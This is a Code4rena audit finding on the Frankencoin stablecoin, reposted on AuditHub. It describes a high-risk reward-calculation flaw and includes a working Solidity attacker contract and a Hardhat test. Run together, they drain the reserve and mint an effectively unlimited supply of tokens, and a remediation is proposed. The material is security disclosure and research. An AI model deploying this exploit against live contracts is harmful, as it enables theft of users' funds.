Frankencoin - SpicyMeatball's results

A decentralized and fully collateralized stablecoin.

General Information

Platform: Code4rena

Start Date: 12/04/2023

Pot Size: $60,500 USDC

Total HM: 21

Participants: 199

Period: 7 days

Judge: hansfriese

Total Solo HM: 5

Id: 231

League: ETH

Frankencoin

Findings Distribution

Researcher Performance

Rank: 91/199

Findings: 1

Award: $35.06

🌟 Selected for report: 0

🚀 Solo Findings: 0

Findings Information

Awards

35.0635 USDC - $35.06

Labels

bug
3 (High Risk)
satisfactory
duplicate-458

External Links

Lines of code

https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/Position.sol#L347 https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/MintingHub.sol#L265-L271 https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/Frankencoin.sol#L280

Vulnerability details

Impact

Attacker can drain all tokens from the reserve and mint "infinite" amount of tokens by creating a position with a huge liquidation price and zero challenge time, which allows him to challenge and end it in the same transaction claiming reward to himself.

Reward is calculated as a 2% from the volume volumeZCHF = _mulD18(price, _size) which is a ZCHF amount that could be minted with a challenger's collateral.

As you can see it is a product of a challenger's collateral and a price. The fact that it is possible to set any price and challenge the position without waiting for a confirmation from shareholders allows us to exploit this formula inflating our reward to a size that it isn't possible to cover it with tokens from the reserve forcing protocol to mint the remainder.

function notifyLoss(uint256 _amount) override external minterOnly { uint256 reserveLeft = balanceOf(address(reserve)); if (reserveLeft >= _amount){ _transfer(address(reserve), msg.sender, _amount); } else { _transfer(address(reserve), msg.sender, reserveLeft); _mint(msg.sender, _amount - reserveLeft); }

Proof of Concept

The exploit flow:

  • create a position with zero challenge time and a huge price
  • challenge it with one wei of collateral
  • end the challenge, get the reward

Attacker's contract

// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./Frankencoin.sol"; import "./MintingHub.sol"; import "./Ownable.sol"; import "./IERC20.sol"; contract ChallengeMe is Ownable { Frankencoin public immutable zchf; MintingHub public immutable hub; IERC20 public immutable collateral; constructor(Frankencoin _zchf, MintingHub _hub, IERC20 _collateral) { setOwner(msg.sender); zchf = _zchf; hub = _hub; collateral = _collateral; collateral.approve(address(hub), 2); } function attack() external onlyOwner { // prep params uint256 price = type(uint256).max / hub.CHALLENGER_REWARD(); uint256 minCollateral = 1; uint256 initialCollateral = 1; // challenge col = position col uint256 challengeTime = 0; // end challenge in the same block uint256 expire = 60*60; // create a position address pos = hub.openPosition(address(collateral), minCollateral, initialCollateral, 0, expire, challengeTime, 0, price, 0); // launch and end the challenge uint256 challengeNum = hub.launchChallenge(pos, 1); hub.end(challengeNum, false); // it's payday! uint256 reward = zchf.balanceOf(address(this)); zchf.transfer(msg.sender, reward); } }

Launching attack in tests PositionTests.ts

it("drain the reserve and mint 'infinite' tokens", async () => { //----- preparation const chad = accounts[3]; // deploy and send tokens to the exploit const Exploit = await ethers.getContractFactory('ChallengeMe', chad); const exploit = await Exploit.deploy(ZCHFContract.address, mintingHubContract.address, mockVOL.address); await ZCHFContract.transfer(exploit.address, await mintingHubContract.OPENING_FEE()); await mockVOL.transfer(exploit.address, 2); // send ZCHF to the reserve bank const reserve = await ZCHFContract.reserve(); await ZCHFContract.transfer(reserve, floatToDec18(10_000)); // some checks let hackerBalance = await ZCHFContract.balanceOf(chad.address); let reserveBalance = await ZCHFContract.balanceOf(reserve); console.log("HACKER BALANCE BEFORE: ", hackerBalance/1e18); console.log("RESERVE BALANCE BEFORE: ", reserveBalance/1e18); expect(hackerBalance).to.be.equal(0); expect(reserveBalance).to.be.equal(floatToDec18(10_000)); //----- attack await exploit.connect(chad).attack(); // post exploit checks hackerBalance = await ZCHFContract.balanceOf(chad.address); reserveBalance = await ZCHFContract.balanceOf(reserve); console.log("HACKER BALANCE AFTER: ", hackerBalance/1e18); console.log("RESERVE BALANCE AFTER: ", reserveBalance/1e18); expect(hackerBalance).to.be.gt(10n ** 53n); expect(reserveBalance).to.be.equal(0); });

Logs

Balances are converted from weis HACKER BALANCE BEFORE: 0 ZCHF RESERVE BALANCE BEFORE: 10000 ZCHF HACKER BALANCE AFTER: 1.1579208923731618e+35 ZCHF RESERVE BALANCE AFTER: 0 ZCHF

Tools Used

Hardhat

The attack was possible due to the following reasons:

  • volumeZCHF is calculated using price variable which can be set to any value
  • unconfirmed positions can be challenged
  • it is possible to create a position with zero challenge time

We should probably calculate the reward from an actual repayment amount

uint256 repayment = minted < volumeZCHF ? minted : volumeZCHF;

this way we'll never have to deal with inflated numbers because unconfirmed positions can't mint and even if price was changed later on confirmed position hopefully it will be challenged in 3 days cooldown period.

Another step would be to harden the MintingHub. In current state we trust our shareholders to deny any 'bad' positions but it will make their life easier if we'll include some additional checks, for example revert position creation if challengeSeconds is too short.

#0 - c4-pre-sort

2023-04-26T13:23:37Z

0xA5DF marked the issue as duplicate of #458

#1 - c4-judge

2023-05-18T14:45:20Z

hansfriese marked the issue as satisfactory

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter